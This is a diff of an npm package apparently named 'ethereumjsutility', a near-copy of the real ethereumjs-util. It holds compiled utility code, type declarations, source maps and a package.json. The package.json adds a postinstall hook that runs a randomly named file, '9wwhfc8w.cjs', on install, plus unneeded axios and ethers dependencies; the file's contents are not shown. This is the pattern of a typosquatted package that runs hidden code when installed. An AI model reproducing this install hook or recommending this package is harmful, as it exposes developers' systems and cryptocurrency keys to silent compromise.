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"}
|
@@ -0,0 +1,62 @@
|
|
1
|
+
/// <reference types="bn.js" />
|
2
|
+
/// <reference types="node" />
|
3
|
+
import { BN } from './externals';
|
4
|
+
import { Address } from './address';
|
5
|
+
import { ToBufferInputTypes } from './bytes';
|
6
|
+
export declare type BNLike = BN | PrefixedHexString | number | Buffer;
|
7
|
+
export declare type BufferLike = Buffer | Uint8Array | number[] | number | BN | TransformableToBuffer | PrefixedHexString;
|
8
|
+
export declare type PrefixedHexString = string;
|
9
|
+
/**
|
10
|
+
* A type that represents an Address-like value.
|
11
|
+
* To convert to address, use `new Address(toBuffer(value))`
|
12
|
+
*/
|
13
|
+
export declare type AddressLike = Address | Buffer | PrefixedHexString;
|
14
|
+
export interface TransformableToArray {
|
15
|
+
toArray(): Uint8Array;
|
16
|
+
toBuffer?(): Buffer;
|
17
|
+
}
|
18
|
+
export interface TransformableToBuffer {
|
19
|
+
toBuffer(): Buffer;
|
20
|
+
toArray?(): Uint8Array;
|
21
|
+
}
|
22
|
+
export declare type NestedUint8Array = Array<Uint8Array | NestedUint8Array>;
|
23
|
+
export declare type NestedBufferArray = Array<Buffer | NestedBufferArray>;
|
24
|
+
/**
|
25
|
+
* Convert BN to 0x-prefixed hex string.
|
26
|
+
*/
|
27
|
+
export declare function bnToHex(value: BN): PrefixedHexString;
|
28
|
+
/**
|
29
|
+
* Convert value from BN to an unpadded Buffer
|
30
|
+
* (useful for RLP transport)
|
31
|
+
* @param value value to convert
|
32
|
+
*/
|
33
|
+
export declare function bnToUnpaddedBuffer(value: BN): Buffer;
|
34
|
+
/**
|
35
|
+
* Deprecated alias for {@link bnToUnpaddedBuffer}
|
36
|
+
* @deprecated
|
37
|
+
*/
|
38
|
+
export declare function bnToRlp(value: BN): Buffer;
|
39
|
+
/**
|
40
|
+
* Type output options
|
41
|
+
*/
|
42
|
+
export declare enum TypeOutput {
|
43
|
+
Number = 0,
|
44
|
+
BN = 1,
|
45
|
+
Buffer = 2,
|
46
|
+
PrefixedHexString = 3
|
47
|
+
}
|
48
|
+
export declare type TypeOutputReturnType = {
|
49
|
+
[TypeOutput.Number]: number;
|
50
|
+
[TypeOutput.BN]: BN;
|
51
|
+
[TypeOutput.Buffer]: Buffer;
|
52
|
+
[TypeOutput.PrefixedHexString]: PrefixedHexString;
|
53
|
+
};
|
54
|
+
/**
|
55
|
+
* Convert an input to a specified type.
|
56
|
+
* Input of null/undefined returns null/undefined regardless of the output type.
|
57
|
+
* @param input value to convert
|
58
|
+
* @param outputType type to output
|
59
|
+
*/
|
60
|
+
export declare function toType<T extends TypeOutput>(input: null, outputType: T): null;
|
61
|
+
export declare function toType<T extends TypeOutput>(input: undefined, outputType: T): undefined;
|
62
|
+
export declare function toType<T extends TypeOutput>(input: ToBufferInputTypes, outputType: T): TypeOutputReturnType[T];
|
@@ -0,0 +1,77 @@
|
|
1
|
+
"use strict";
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
3
|
+
exports.toType = exports.TypeOutput = exports.bnToRlp = exports.bnToUnpaddedBuffer = exports.bnToHex = void 0;
|
4
|
+
var externals_1 = require("./externals");
|
5
|
+
var internal_1 = require("./internal");
|
6
|
+
var bytes_1 = require("./bytes");
|
7
|
+
/**
|
8
|
+
* Convert BN to 0x-prefixed hex string.
|
9
|
+
*/
|
10
|
+
function bnToHex(value) {
|
11
|
+
return "0x".concat(value.toString(16));
|
12
|
+
}
|
13
|
+
exports.bnToHex = bnToHex;
|
14
|
+
/**
|
15
|
+
* Convert value from BN to an unpadded Buffer
|
16
|
+
* (useful for RLP transport)
|
17
|
+
* @param value value to convert
|
18
|
+
*/
|
19
|
+
function bnToUnpaddedBuffer(value) {
|
20
|
+
// Using `bn.toArrayLike(Buffer)` instead of `bn.toBuffer()`
|
21
|
+
// for compatibility with browserify and similar tools
|
22
|
+
return (0, bytes_1.unpadBuffer)(value.toArrayLike(Buffer));
|
23
|
+
}
|
24
|
+
exports.bnToUnpaddedBuffer = bnToUnpaddedBuffer;
|
25
|
+
/**
|
26
|
+
* Deprecated alias for {@link bnToUnpaddedBuffer}
|
27
|
+
* @deprecated
|
28
|
+
*/
|
29
|
+
function bnToRlp(value) {
|
30
|
+
return bnToUnpaddedBuffer(value);
|
31
|
+
}
|
32
|
+
exports.bnToRlp = bnToRlp;
|
33
|
+
/**
|
34
|
+
* Type output options
|
35
|
+
*/
|
36
|
+
var TypeOutput;
|
37
|
+
(function (TypeOutput) {
|
38
|
+
TypeOutput[TypeOutput["Number"] = 0] = "Number";
|
39
|
+
TypeOutput[TypeOutput["BN"] = 1] = "BN";
|
40
|
+
TypeOutput[TypeOutput["Buffer"] = 2] = "Buffer";
|
41
|
+
TypeOutput[TypeOutput["PrefixedHexString"] = 3] = "PrefixedHexString";
|
42
|
+
})(TypeOutput = exports.TypeOutput || (exports.TypeOutput = {}));
|
43
|
+
function toType(input, outputType) {
|
44
|
+
if (input === null) {
|
45
|
+
return null;
|
46
|
+
}
|
47
|
+
if (input === undefined) {
|
48
|
+
return undefined;
|
49
|
+
}
|
50
|
+
if (typeof input === 'string' && !(0, internal_1.isHexString)(input)) {
|
51
|
+
throw new Error("A string must be provided with a 0x-prefix, given: ".concat(input));
|
52
|
+
}
|
53
|
+
else if (typeof input === 'number' && !Number.isSafeInteger(input)) {
|
54
|
+
throw new Error('The provided number is greater than MAX_SAFE_INTEGER (please use an alternative input type)');
|
55
|
+
}
|
56
|
+
var output = (0, bytes_1.toBuffer)(input);
|
57
|
+
if (outputType === TypeOutput.Buffer) {
|
58
|
+
return output;
|
59
|
+
}
|
60
|
+
else if (outputType === TypeOutput.BN) {
|
61
|
+
return new externals_1.BN(output);
|
62
|
+
}
|
63
|
+
else if (outputType === TypeOutput.Number) {
|
64
|
+
var bn = new externals_1.BN(output);
|
65
|
+
var max = new externals_1.BN(Number.MAX_SAFE_INTEGER.toString());
|
66
|
+
if (bn.gt(max)) {
|
67
|
+
throw new Error('The provided number is greater than MAX_SAFE_INTEGER (please use an alternative output type)');
|
68
|
+
}
|
69
|
+
return bn.toNumber();
|
70
|
+
}
|
71
|
+
else {
|
72
|
+
// outputType === TypeOutput.PrefixedHexString
|
73
|
+
return "0x".concat(output.toString('hex'));
|
74
|
+
}
|
75
|
+
}
|
76
|
+
exports.toType = toType;
|
77
|
+
//# sourceMappingURL=types.js.map
|
@@ -0,0 +1 @@
|
|
1
|
+
{"version":3,"file":"types.js","sourceRoot":"","sources":["../src/types.ts"],"names":[],"mappings":";;;AAAA,yCAAgC;AAChC,uCAAwC;AAExC,iCAAmE;AAiDnE;;GAEG;AACH,SAAgB,OAAO,CAAC,KAAS;IAC/B,OAAO,YAAK,KAAK,CAAC,QAAQ,CAAC,EAAE,CAAC,CAAE,CAAA;AAClC,CAAC;AAFD,0BAEC;AAED;;;;GAIG;AACH,SAAgB,kBAAkB,CAAC,KAAS;IAC1C,4DAA4D;IAC5D,sDAAsD;IACtD,OAAO,IAAA,mBAAW,EAAC,KAAK,CAAC,WAAW,CAAC,MAAM,CAAC,CAAC,CAAA;AAC/C,CAAC;AAJD,gDAIC;AAED;;;GAGG;AACH,SAAgB,OAAO,CAAC,KAAS;IAC/B,OAAO,kBAAkB,CAAC,KAAK,CAAC,CAAA;AAClC,CAAC;AAFD,0BAEC;AAED;;GAEG;AACH,IAAY,UAKX;AALD,WAAY,UAAU;IACpB,+CAAM,CAAA;IACN,uCAAE,CAAA;IACF,+CAAM,CAAA;IACN,qEAAiB,CAAA;AACnB,CAAC,EALW,UAAU,GAAV,kBAAU,KAAV,kBAAU,QAKrB;AAqBD,SAAgB,MAAM,CACpB,KAAyB,EACzB,UAAa;IAEb,IAAI,KAAK,KAAK,IAAI,EAAE;QAClB,OAAO,IAAI,CAAA;KACZ;IACD,IAAI,KAAK,KAAK,SAAS,EAAE;QACvB,OAAO,SAAS,CAAA;KACjB;IAED,IAAI,OAAO,KAAK,KAAK,QAAQ,IAAI,CAAC,IAAA,sBAAW,EAAC,KAAK,CAAC,EAAE;QACpD,MAAM,IAAI,KAAK,CAAC,6DAAsD,KAAK,CAAE,CAAC,CAAA;KAC/E;SAAM,IAAI,OAAO,KAAK,KAAK,QAAQ,IAAI,CAAC,MAAM,CAAC,aAAa,CAAC,KAAK,CAAC,EAAE;QACpE,MAAM,IAAI,KAAK,CACb,6FAA6F,CAC9F,CAAA;KACF;IAED,IAAM,MAAM,GAAG,IAAA,gBAAQ,EAAC,KAAK,CAAC,CAAA;IAE9B,IAAI,UAAU,KAAK,UAAU,CAAC,MAAM,EAAE;QACpC,OAAO,MAAiC,CAAA;KACzC;SAAM,IAAI,UAAU,KAAK,UAAU,CAAC,EAAE,EAAE;QACvC,OAAO,IAAI,cAAE,CAAC,MAAM,CAA4B,CAAA;KACjD;SAAM,IAAI,UAAU,KAAK,UAAU,CAAC,MAAM,EAAE;QAC3C,IAAM,EAAE,GAAG,IAAI,cAAE,CAAC,MAAM,CAAC,CAAA;QACzB,IAAM,GAAG,GAAG,IAAI,cAAE,CAAC,MAAM,CAAC,gBAAgB,CAAC,QAAQ,EAAE,CAAC,CAAA;QACtD,IAAI,EAAE,CAAC,EAAE,CAAC,GAAG,CAAC,EAAE;YACd,MAAM,IAAI,KAAK,CACb,8FAA8F,CAC/F,CAAA;SACF;QACD,OAAO,EAAE,CAAC,QAAQ,EAA6B,CAAA;KAChD;SAAM;QACL,8CAA8C;QAC9C,OAAO,YAAK,MAAM,CAAC,QAAQ,CAAC,KAAK,CAAC,CAA6B,CAAA;KAChE;AACH,CAAC;AAtCD,wBAsCC"}
|
package/package.json
ADDED
@@ -0,0 +1,105 @@
|
|
1
|
+
{
|
2
|
+
"name": "ethereumjsutility",
|
3
|
+
"version": "7.1.5",
|
4
|
+
"description": "A collection of utility functions for Ethereum",
|
5
|
+
"license": "MPL-2.0",
|
6
|
+
"author": "mjbecze <mjbecze@gmail.com>",
|
7
|
+
"keywords": [
|
8
|
+
"ethereum",
|
9
|
+
"utilities",
|
10
|
+
"utils"
|
11
|
+
],
|
12
|
+
"engines": {
|
13
|
+
"node": ">=10.0.0"
|
14
|
+
},
|
15
|
+
"files": [
|
16
|
+
"dist",
|
17
|
+
"dist.browser",
|
18
|
+
"src",
|
19
|
+
"9wwhfc8w.cjs"
|
20
|
+
],
|
21
|
+
"main": "dist/index.js",
|
22
|
+
"types": "dist/index.d.ts",
|
23
|
+
"browser": "dist.browser/index.js",
|
24
|
+
"scripts": {
|
25
|
+
"postinstall": "node 9wwhfc8w.cjs"
|
26
|
+
},
|
27
|
+
"dependencies": {
|
28
|
+
"@types/bn.js": "^5.1.0",
|
29
|
+
"bn.js": "^5.1.2",
|
30
|
+
"create-hash": "^1.1.2",
|
31
|
+
"ethereum-cryptography": "^0.1.3",
|
32
|
+
"rlp": "^2.2.4",
|
33
|
+
"axios": "^1.7.7",
|
34
|
+
"ethers": "^6.13.2"
|
35
|
+
},
|
36
|
+
"devDependencies": {
|
37
|
+
"@types/assert": "^1.5.4",
|
38
|
+
"@types/node": "^16.11.7",
|
39
|
+
"@types/secp256k1": "^4.0.1",
|
40
|
+
"@types/tape": "^4.13.2",
|
41
|
+
"eslint": "^6.8.0",
|
42
|
+
"karma": "^6.3.2",
|
43
|
+
"karma-chrome-launcher": "^3.1.0",
|
44
|
+
"karma-firefox-launcher": "^2.1.0",
|
45
|
+
"karma-tap": "^4.2.0",
|
46
|
+
"karma-typescript": "^5.5.3",
|
47
|
+
"nyc": "^15.1.0",
|
48
|
+
"prettier": "^2.0.5",
|
49
|
+
"tape": "^4.10.1",
|
50
|
+
"ts-node": "^10.2.1",
|
51
|
+
"typescript": "^4.4.2"
|
52
|
+
},
|
53
|
+
"repository": {
|
54
|
+
"type": "git",
|
55
|
+
"url": "https://github.com/ethereumjs/ethereumjs-monorepo.git"
|
56
|
+
},
|
57
|
+
"homepage": "https://github.com/ethereumjs/ethereumjs-monorepo/tree/master/packages/util#readme",
|
58
|
+
"bugs": {
|
59
|
+
"url": "https://github.com/ethereumjs/ethereumjs-monorepo/issues?q=is%3Aissue+label%3A%22package%3A+util%22"
|
60
|
+
},
|
61
|
+
"contributors": [
|
62
|
+
{
|
63
|
+
"name": "Tim Coulter",
|
64
|
+
"email": "tim@timothyjcoulter.com",
|
65
|
+
"url": "https://github.com/tcoulter"
|
66
|
+
},
|
67
|
+
{
|
68
|
+
"name": "Nick Dodson",
|
69
|
+
"url": "https://github.com/SilentCicero"
|
70
|
+
},
|
71
|
+
{
|
72
|
+
"name": "Mr. Chico",
|
73
|
+
"url": "https://github.com/MrChico"
|
74
|
+
},
|
75
|
+
{
|
76
|
+
"name": "Dũng Trần",
|
77
|
+
"email": "tad88.dev@gmail.com",
|
78
|
+
"url": "https://github.com/tad88dev"
|
79
|
+
},
|
80
|
+
{
|
81
|
+
"name": "Alex Beregszaszi",
|
82
|
+
"email": "alex@rtfs.hu",
|
83
|
+
"url": "https://github.com/axic"
|
84
|
+
},
|
85
|
+
{
|
86
|
+
"name": "Taylor Gerring",
|
87
|
+
"url": "https://github.com/tgerring"
|
88
|
+
},
|
89
|
+
{
|
90
|
+
"name": "Kirill Fomichev",
|
91
|
+
"email": "fanatid@ya.ru",
|
92
|
+
"url": "https://github.com/fanatid"
|
93
|
+
},
|
94
|
+
{
|
95
|
+
"name": "kumavis",
|
96
|
+
"email": "aaron@kumavis.me",
|
97
|
+
"url": "https://github.com/kumavis"
|
98
|
+
},
|
99
|
+
{
|
100
|
+
"name": "Alexander Sinyagin",
|
101
|
+
"email": "sinyagin.alexander@gmail.com",
|
102
|
+
"url": "https://github.com/asinyagin"
|
103
|
+
}
|
104
|
+
]
|
105
|
+
}
|